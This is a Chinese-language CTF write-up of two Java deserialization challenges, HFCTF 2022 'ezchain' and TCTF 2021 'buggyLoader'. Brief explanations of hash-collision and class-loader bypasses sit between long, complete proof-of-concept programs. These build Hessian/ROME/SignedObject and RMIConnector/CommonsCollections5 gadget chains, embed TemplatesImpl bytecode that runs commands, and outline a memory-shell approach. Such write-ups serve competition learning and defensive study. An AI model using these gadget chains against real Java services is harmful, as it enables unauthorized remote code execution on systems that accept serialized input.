2022CTF 康复训练2
[虎符CTF 2022]ezchain
从 docker-compose 中能判断不出网
反编译后查看 handle,首先需要实现一个 hash 碰撞,然后就是一个 Hessian 反序列化的接口。
hashcode 部分实际上就是实现了一个 31 进制转换,把前两位的 HF 换成 Ge 就能绕过了。
然后就是不出网的 hessian 反序列化的利用,用了 java.security.SignedObject 的二次反序列化,原因前面的 hessian 反序列化已经提过了(这里使用 codeql 工具审出来的,具体操作。。。下次一定)
poc:(第一次反序列化调用原生 readObject,第二次反序列化直接用 CC2 打就可)
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ObjectBean; import com.rometools.rome.feed.impl.ToStringBean; import sun.security.provider.DSAPrivateKey; import org.slf4j.impl.StaticLoggerBinder; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.security.*; import java.util.Base64; import java.util.HashMap; public class payload { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException { HashMap hashMapx = getObject(); // 构造SignedObject对象 SignedObject signedObject = new SignedObject(hashMapx, new DSAPrivateKey(), new Signature("x") { @Override protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException { } @Override protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException { } @Override protected void engineUpdate(byte b) throws SignatureException { } @Override protected void engineUpdate(byte[] b, int off, int len) throws SignatureException { } @Override protected byte[] engineSign() throws SignatureException { return new byte[0]; } @Override protected boolean engineVerify(byte[] sigBytes) throws SignatureException { return false; } @Override protected void engineSetParameter(String param, Object value) throws InvalidParameterException { } @Override protected Object engineGetParameter(String param) throws InvalidParameterException { return null; } }); // 构造ToStringBean ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject); ToStringBean toStringBean1 = new ToStringBean(String.class, "s"); // 构造ObjectBean ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean1); // 构造HashMap HashMap hashMap = new HashMap(); hashMap.put(objectBean,"aaaa"); // 反射修改字段 Field obj = EqualsBean.class.getDeclaredField("obj"); Field equalsBean = ObjectBean.class.getDeclaredField("equalsBean"); obj.setAccessible(true); equalsBean.setAccessible(true); obj.set(equalsBean.get(objectBean), toStringBean); Hessian2Output hessianOutput1 = new Hessian2Output(new FileOutputStream("./second.ser")); hessianOutput1.writeObject(hashMap); hessianOutput1.close(); } public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException { Field field=obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj,value); } public static HashMap getObject() throws NoSuchFieldException, IllegalAccessException { //构造TemplatesImpl对象 byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg=="); byte[][] bytee= new byte[][]{bytecode}; TemplatesImpl templates=new TemplatesImpl(); setFieldValue(templates,"_bytecodes",bytee); setFieldValue(templates,"_name","Code"); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); //构造ToStringBean ToStringBean toStringBean = new ToStringBean(Templates.class,templates); ToStringBean toStringBean1 = new ToStringBean(String.class, "s"); //构造ObjectBean ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1); //构造HashMap HashMap hashMap=new HashMap(); hashMap.put(objectBean,"aaaa"); //反射修改字段 Field obj=EqualsBean.class.getDeclaredField("obj"); Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean"); obj.setAccessible(true); equalsBean.setAccessible(true); obj.set(equalsBean.get(objectBean),toStringBean); return hashMap; } }
可以执行命令但不出网不能弹 shell,考虑将执行命令的结果写到文件中再读文件,但操作起来比较麻烦,实战中也要考虑路径的问题。
这里参考内存马获取回显的思路,想办法拿到存储 Request 或 Respnse 的全局变量,通常是再线程中找,可以劫持 handler 实现内存马。
最终能注入的 poc:
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ObjectBean; import com.rometools.rome.feed.impl.ToStringBean; import sun.security.provider.DSAPrivateKey; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.security.*; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import java.util.HashMap; public class payload { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, SignatureException, InvalidKeyException, NotFoundException, CannotCompileException { HashMap hashMapx = getObject(); // 构造SignedObject对象 SignedObject signedObject = new SignedObject(hashMapx, new DSAPrivateKey(), new Signature("x") { @Override protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException { } @Override protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException { } @Override protected void engineUpdate(byte b) throws SignatureException { } @Override protected void engineUpdate(byte[] b, int off, int len) throws SignatureException { } @Override protected byte[] engineSign() throws SignatureException { return new byte[0]; } @Override protected boolean engineVerify(byte[] sigBytes) throws SignatureException { return false; } @Override protected void engineSetParameter(String param, Object value) throws InvalidParameterException { } @Override protected Object engineGetParameter(String param) throws InvalidParameterException { return null; } }); // 构造ToStringBean ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject); ToStringBean toStringBean1 = new ToStringBean(String.class, "s"); // 构造ObjectBean ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean1); // 构造HashMap HashMap hashMap = new HashMap(); hashMap.put(objectBean,"aaaa"); // 反射修改字段 Field obj = EqualsBean.class.getDeclaredField("obj"); Field equalsBean = ObjectBean.class.getDeclaredField("equalsBean"); obj.setAccessible(true); equalsBean.setAccessible(true); obj.set(equalsBean.get(objectBean), toStringBean); Hessian2Output hessianOutput1 = new Hessian2Output(new FileOutputStream("./second.ser")); hessianOutput1.writeObject(hashMap); hessianOutput1.close(); } public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException { Field field=obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj,value); } public static HashMap getObject() throws NoSuchFieldException, IllegalAccessException, IOException, CannotCompileException, NotFoundException { //构造TemplatesImpl对象 ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get("testHandler"); byte[] bytecode=cc.toBytecode(); byte[][] bytee= new byte[][]{bytecode}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_bytecodes",bytee); setFieldValue(templates,"_name","Code"); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); //构造ToStringBean ToStringBean toStringBean = new ToStringBean(Templates.class,templates); ToStringBean toStringBean1 = new ToStringBean(String.class, "s"); //构造ObjectBean ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean1); //构造HashMap HashMap hashMap=new HashMap(); hashMap.put(objectBean,"aaaa"); //反射修改字段 Field obj=EqualsBean.class.getDeclaredField("obj"); Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean"); obj.setAccessible(true); equalsBean.setAccessible(true); obj.set(equalsBean.get(objectBean),toStringBean); return hashMap; } }
[TCTF 2021]buggyLoader
java 反序列化,但问题是反序列化的这个 objectInputStre
am 是重写的,resolveClass 也被重写了,和原生的 readObject 做一下对比
forname 加载变成了调用 URLClassLoader 的 loadClass 加载,可参考 shiro 反序列化的利用,shiro 在 readObject 前调用ClassResolvingObjectInputStream 重写了 resolveClass,也是使用了 ClassLoader.loadClass。
它们之间的区别(简单理解)是 Class.forName 能解析数组类型,但 ClassLoader 不会解析数组类型,加载时会抛出 ClassNotFoundException。
但这个题的 ClassLoader 和 shiro 还不太一样,在 shiro 中用的是 tomcat 的类加载机制,也就是双亲委派
在反序列化的时候不能加载 WEB-INF/lib 下的数组类型,但无数组类型的 CC3 就能打(即使里面用到了 java 原生类数组 byte[] 等)。
但这个题卡的就很死,p 神提到的用 CC5 打 TemplatesImpl 是用不了的。(执行过程中还是调用了数组类型)
打法1:出网条件下的 JRMPClient
打法2:RMIConnectorServer 二次反序列化
利用自动审计工具找到了利用点 javax.management.remote.rmi.RMIConnector#findRMIServerJRMP
其中传入的 base64 可控,将 base64 解码后会对其进行反序列化操作,然后随便选一条链子接着打就行了。(get 交不了要改成 post)
package myexp.buggyloader; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.*; import ysoserial.payloads.util.Reflections; import javax.management.remote.JMXServiceURL; import javax.management.remote.rmi.RMIConnector; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.HashSet; import java.util.Map; public class JMX { public static void main(String[] args) throws Exception { Object obj = getObject(); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oss = null; oss = new ObjectOutputStream(bos); oss.writeUTF("SJTU"); oss.writeInt(1896); oss.writeObject(obj); oss.flush(); byte[] bytes = bos.toByteArray(); bos.close(); String hex = Utils.bytesTohexString(bytes); System.out.println(hex); byte[] b2 = Utils.hexStringToBytes(hex); InputStream inputStream1 = new ByteArrayInputStream(b2); ObjectInputStream objectInputStream1 = new MyObjectInputStream(inputStream1); System.out.println(objectInputStream1.readUTF()); System.out.println(objectInputStream1.readInt()); Object obj2 = objectInputStream1.readObject(); } private static Object getObject() throws Exception { Transformer transformer = InvokerTransformer.getInstance("connect"); CommonsCollections5 commonsCollections5 = new CommonsCollections5(); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream); objectOutputStream.writeObject(commonsCollections5.getObject("calc")); String expbase64 = new String(Base64.getEncoder().encode(outputStream.toByteArray())); String finalExp = "service:jmx:rmi:///stub/" + expbase64; RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL(finalExp), new HashMap<>()); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry entry = new TiedMapEntry(lazyMap, rmiConnector); HashSet map = new HashSet(1); map.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException var18) { f = HashSet.class.getDeclaredField("backingMap"); } Reflections.setAccessible(f); HashMap innimpl = (HashMap) f.get(map); Field f2 = null; try { f2 =HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException var17) { f2 = HashMap.class.getDeclaredField("elementData"); } Reflections.setAccessible(f2); Object[] array = (Object[]) ((Object[]) f2.get(innimpl)); Object node = array[0]; if (node == null) { node = array[1]; } Field keyField = null; try { keyField = node.getClass().getDeclaredField("key"); } catch (Exception var16) { keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } Reflections.setAccessible(keyField); keyField.set(node, entry); return map; } }
从 connect 开始分析
然后进入 findRMIServer,其中 directoryURL 中存放着 payload
之后就可以进入 findRMIServerJRMP 触发二次反序列化。
参考文献
- http://novic4.cn/index.php/archives/24.html
- https://tttang.com/archive/1510/#toc_0x00-buggyloader-0ctf-2021-final
- https://blog.z3ratu1.cn/HFCTF2022%E5%9D%90%E7%89%A2%E5%A4%8D%E7%8E%B0.html
- https://www.anquanke.com/post/id/256986
- https://hpdoger.cn/2021/10/08/title:%20TCTF2021-final-writeup-1/#bugglyloader